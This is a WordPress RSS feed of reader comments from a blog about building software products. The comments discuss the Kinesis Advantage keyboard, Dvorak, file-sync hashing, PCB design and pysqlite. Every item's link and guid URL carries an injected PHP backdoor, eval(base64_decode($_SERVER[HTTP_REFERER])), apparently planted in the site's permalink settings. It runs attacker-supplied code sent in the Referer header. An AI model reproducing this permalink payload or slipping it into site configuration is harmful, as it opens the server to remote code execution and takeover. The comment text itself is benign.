<?xml version="1.0" encoding="UTF-8"?><!-- generator="wordpress/2.3.3" -->
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	>
<channel>
	<title>Comments for Six Software Products in One Year</title>
	<link>http://www.sixproducts.com</link>
	<description>Can you build a self-sufficient Micro-ISV in one year?</description>
	<pubDate>Fri, 19 Mar 2010 10:20:31 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.3.3</generator>
		<item>
		<title>Comment on Kinesis Advantage keyboard and learning Dvorak by Jake</title>
		<link>http://www.sixproducts.com/2008/01/27/kinesis-advantage-keyboard-and-learning-dvorak/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-5823</link>
		<dc:creator>Jake</dc:creator>
		<pubDate>Mon, 26 Oct 2009 21:48:04 +0000</pubDate>
		<guid>http://www.sixproducts.com/2008/01/27/kinesis-advantage-keyboard-and-learning-dvorak/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-5823</guid>
		<description>&lt;i&gt;The Kinesis makes typing less painful, but some of my pains appear to be linked to the QWERTY layout. &lt;/i&gt;

Interesting: I tried the Advantage mostly out of curiosity and prevention, after a few readers wrote to me about it. You can &lt;a href="http://jseliger.com/2009/07/20/kinesis-advantage/" rel="nofollow"&gt;read the results and my review here&lt;/a&gt;; it seems like the Advantage is, as you note, an improvement, but one that demands a fair amount of time investment. I like how the manual says, "Don't try to start using the Advantage during a deadline," or something to that effect. 

Question: have you tried the foot pedal?</description>
		<content:encoded><![CDATA[<p><i>The Kinesis makes typing less painful, but some of my pains appear to be linked to the QWERTY layout. </i></p>
<p>Interesting: I tried the Advantage mostly out of curiosity and prevention, after a few readers wrote to me about it. You can <a href="http://jseliger.com/2009/07/20/kinesis-advantage/" rel="nofollow">read the results and my review here</a>; it seems like the Advantage is, as you note, an improvement, but one that demands a fair amount of time investment. I like how the manual says, &#8220;Don&#8217;t try to start using the Advantage during a deadline,&#8221; or something to that effect. </p>
<p>Question: have you tried the foot pedal?</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on File synchronization algorithms, part 2 of elephant by Stephen Frede</title>
		<link>http://www.sixproducts.com/2007/11/21/file-synchronization-algorithms-part-2-of-elephant/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-5661</link>
		<dc:creator>Stephen Frede</dc:creator>
		<pubDate>Sat, 03 Oct 2009 23:43:56 +0000</pubDate>
		<guid>http://www.sixproducts.com/2007/11/21/file-synchronization-algorithms-part-2-of-elephant/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-5661</guid>
		<description>You don't need to read the whole file every time.  For most file types, a change means a change in size, or near the beginning or end of the file (a header or trailer has been updated).  When comparing two files, first check the size; if that matches then hash the first and last N bytes of the file (1K is probably enough). If mod times also match, you could stop there with significantly improved reliability.  Even if you then go the whole way to read the whole file, you have saved some time on those files that are different.
Admittedly, this is less useful for your application of syncing where most files will be the same.  I use this technique to search for duplicate files and it works very well.</description>
		<content:encoded><![CDATA[<p>You don&#8217;t need to read the whole file every time.  For most file types, a change means a change in size, or near the beginning or end of the file (a header or trailer has been updated).  When comparing two files, first check the size; if that matches then hash the first and last N bytes of the file (1K is probably enough). If mod times also match, you could stop there with significantly improved reliability.  Even if you then go the whole way to read the whole file, you have saved some time on those files that are different.<br />
Admittedly, this is less useful for your application of syncing where most files will be the same.  I use this technique to search for duplicate files and it works very well.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on PCBs are finally ready! by david</title>
		<link>http://www.sixproducts.com/2008/05/29/pcbs-are-finally-ready/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-3228</link>
		<dc:creator>david</dc:creator>
		<pubDate>Mon, 02 Feb 2009 05:40:20 +0000</pubDate>
		<guid>http://www.sixproducts.com/2008/05/29/pcbs-are-finally-ready/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-3228</guid>
		<description>"Don’t run copper right to the edges of the board."

The risk is running both GND and power planes right up to the edges of the board -- one tiny little whisker of metal between them, and (best case) the fuse blows.

&lt;a href="http://massmind.org/techref/app/pwb_design_flow.htm#polygons" rel="nofollow"&gt;The "cherry pie lattice" is now obsolete&lt;/a&gt;.
Today we use completely solid areas of metal.</description>
		<content:encoded><![CDATA[<p>&#8220;Don’t run copper right to the edges of the board.&#8221;</p>
<p>The risk is running both GND and power planes right up to the edges of the board &#8212; one tiny little whisker of metal between them, and (best case) the fuse blows.</p>
<p><a href="http://massmind.org/techref/app/pwb_design_flow.htm#polygons" rel="nofollow">The &#8220;cherry pie lattice&#8221; is now obsolete</a>.<br />
Today we use completely solid areas of metal.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Kinesis Advantage keyboard and learning Dvorak by Ola Lindberg</title>
		<link>http://www.sixproducts.com/2008/01/27/kinesis-advantage-keyboard-and-learning-dvorak/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-2906</link>
		<dc:creator>Ola Lindberg</dc:creator>
		<pubDate>Sat, 03 Jan 2009 23:02:29 +0000</pubDate>
		<guid>http://www.sixproducts.com/2008/01/27/kinesis-advantage-keyboard-and-learning-dvorak/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-2906</guid>
		<description>Anyone doing any progress on the alternative firmware?</description>
		<content:encoded><![CDATA[<p>Anyone doing any progress on the alternative firmware?</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Kinesis Advantage keyboard and learning Dvorak by Michael Ashleigh Finn</title>
		<link>http://www.sixproducts.com/2008/01/27/kinesis-advantage-keyboard-and-learning-dvorak/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-2852</link>
		<dc:creator>Michael Ashleigh Finn</dc:creator>
		<pubDate>Mon, 29 Dec 2008 20:54:33 +0000</pubDate>
		<guid>http://www.sixproducts.com/2008/01/27/kinesis-advantage-keyboard-and-learning-dvorak/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-2852</guid>
		<description>Just a heads up on the Dvorak and weakest fingers...the most common letters are chained from the outside in because when you drum your fingers, most people naturally do it from the outside in.</description>
		<content:encoded><![CDATA[<p>Just a heads up on the Dvorak and weakest fingers&#8230;the most common letters are chained from the outside in because when you drum your fingers, most people naturally do it from the outside in.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Data storage and performance by Ian</title>
		<link>http://www.sixproducts.com/2008/06/22/data-storage-and-performance/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-1376</link>
		<dc:creator>Ian</dc:creator>
		<pubDate>Fri, 12 Sep 2008 22:39:39 +0000</pubDate>
		<guid>http://www.sixproducts.com/2008/06/22/data-storage-and-performance/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-1376</guid>
		<description>I can't comment on pysqlite's performance - I didn't use it for long enough. 

My main complaint with it is the way it delays and modifies user transactions. I'm guessing this is in an attempt to prevent deadlocks, which are easy to produce *if* you don't understand sqlite's concurrency model. Unfortunately, I found that pysqlite's modifications were doing more harm than good in my application, which makes extensive use of concurrency and is not able to tolerate multi-second timeout delays.

I'm comfortable with sqlite's concurrency model (it's not hard!) and so made much better progress by managing it myself. In this case, all of my transactions are designed to be very short-lived (as they always should be) and so sqlite handles it without additional 'trickery'.</description>
		<content:encoded><![CDATA[<p>I can&#8217;t comment on pysqlite&#8217;s performance - I didn&#8217;t use it for long enough. </p>
<p>My main complaint with it is the way it delays and modifies user transactions. I&#8217;m guessing this is in an attempt to prevent deadlocks, which are easy to produce *if* you don&#8217;t understand sqlite&#8217;s concurrency model. Unfortunately, I found that pysqlite&#8217;s modifications were doing more harm than good in my application, which makes extensive use of concurrency and is not able to tolerate multi-second timeout delays.</p>
<p>I&#8217;m comfortable with sqlite&#8217;s concurrency model (it&#8217;s not hard!) and so made much better progress by managing it myself. In this case, all of my transactions are designed to be very short-lived (as they always should be) and so sqlite handles it without additional &#8216;trickery&#8217;.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Data storage and performance by Seun Osewa</title>
		<link>http://www.sixproducts.com/2008/06/22/data-storage-and-performance/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-1372</link>
		<dc:creator>Seun Osewa</dc:creator>
		<pubDate>Fri, 12 Sep 2008 14:02:06 +0000</pubDate>
		<guid>http://www.sixproducts.com/2008/06/22/data-storage-and-performance/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-1372</guid>
		<description>What's wrong with pysqlite, to be more specific?  Is it slower?</description>
		<content:encoded><![CDATA[<p>What&#8217;s wrong with pysqlite, to be more specific?  Is it slower?</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Data storage and performance by Jared Kuolt</title>
		<link>http://www.sixproducts.com/2008/06/22/data-storage-and-performance/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-405</link>
		<dc:creator>Jared Kuolt</dc:creator>
		<pubDate>Thu, 26 Jun 2008 22:56:19 +0000</pubDate>
		<guid>http://www.sixproducts.com/2008/06/22/data-storage-and-performance/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-405</guid>
		<description>It seems rather uncommon to support multiple concurrent databases, though I do see the need. Thanks for at least considering Autumn and the "...beautifully simple" comment. That's almost exactly the point!

I'd like to know your thoughts on how best to support this, however. Autumn's development is ramping up and if I were to support this I prefer to do so early on.

Thanks!</description>
		<content:encoded><![CDATA[<p>It seems rather uncommon to support multiple concurrent databases, though I do see the need. Thanks for at least considering Autumn and the &#8220;&#8230;beautifully simple&#8221; comment. That&#8217;s almost exactly the point!</p>
<p>I&#8217;d like to know your thoughts on how best to support this, however. Autumn&#8217;s development is ramping up and if I were to support this I prefer to do so early on.</p>
<p>Thanks!</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Kinesis Advantage keyboard and learning Dvorak by Ian</title>
		<link>http://www.sixproducts.com/2008/01/27/kinesis-advantage-keyboard-and-learning-dvorak/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-331</link>
		<dc:creator>Ian</dc:creator>
		<pubDate>Wed, 28 May 2008 00:30:53 +0000</pubDate>
		<guid>http://www.sixproducts.com/2008/01/27/kinesis-advantage-keyboard-and-learning-dvorak/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-331</guid>
		<description>Nope, never seen that bug. I do get lockups every so often, mostly if I'm running macros or typing remapped keys quickly.</description>
		<content:encoded><![CDATA[<p>Nope, never seen that bug. I do get lockups every so often, mostly if I&#8217;m running macros or typing remapped keys quickly.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Kinesis Advantage keyboard and learning Dvorak by Drew Wagner</title>
		<link>http://www.sixproducts.com/2008/01/27/kinesis-advantage-keyboard-and-learning-dvorak/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-329</link>
		<dc:creator>Drew Wagner</dc:creator>
		<pubDate>Tue, 27 May 2008 14:25:36 +0000</pubDate>
		<guid>http://www.sixproducts.com/2008/01/27/kinesis-advantage-keyboard-and-learning-dvorak/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-329</guid>
		<description>Yeah, I can't really afford the time at the moment either, but it's a project to throw in the queue.  My favorite aspect of the programmable keyboard is actually that I don't have to mess around with any software on the host machine(s).  The interface kinesis has worked out for re-mapping keys is pretty darn efficient as it is.  Do you ever encounter the bug where the keyboard starts spitting out a character repeatedly on its own and you have to hit both shift keys simultaneously to get it un-stuck?</description>
		<content:encoded><![CDATA[<p>Yeah, I can&#8217;t really afford the time at the moment either, but it&#8217;s a project to throw in the queue.  My favorite aspect of the programmable keyboard is actually that I don&#8217;t have to mess around with any software on the host machine(s).  The interface kinesis has worked out for re-mapping keys is pretty darn efficient as it is.  Do you ever encounter the bug where the keyboard starts spitting out a character repeatedly on its own and you have to hit both shift keys simultaneously to get it un-stuck?</p>
]]></content:encoded>
	</item>
</channel>
</rss>
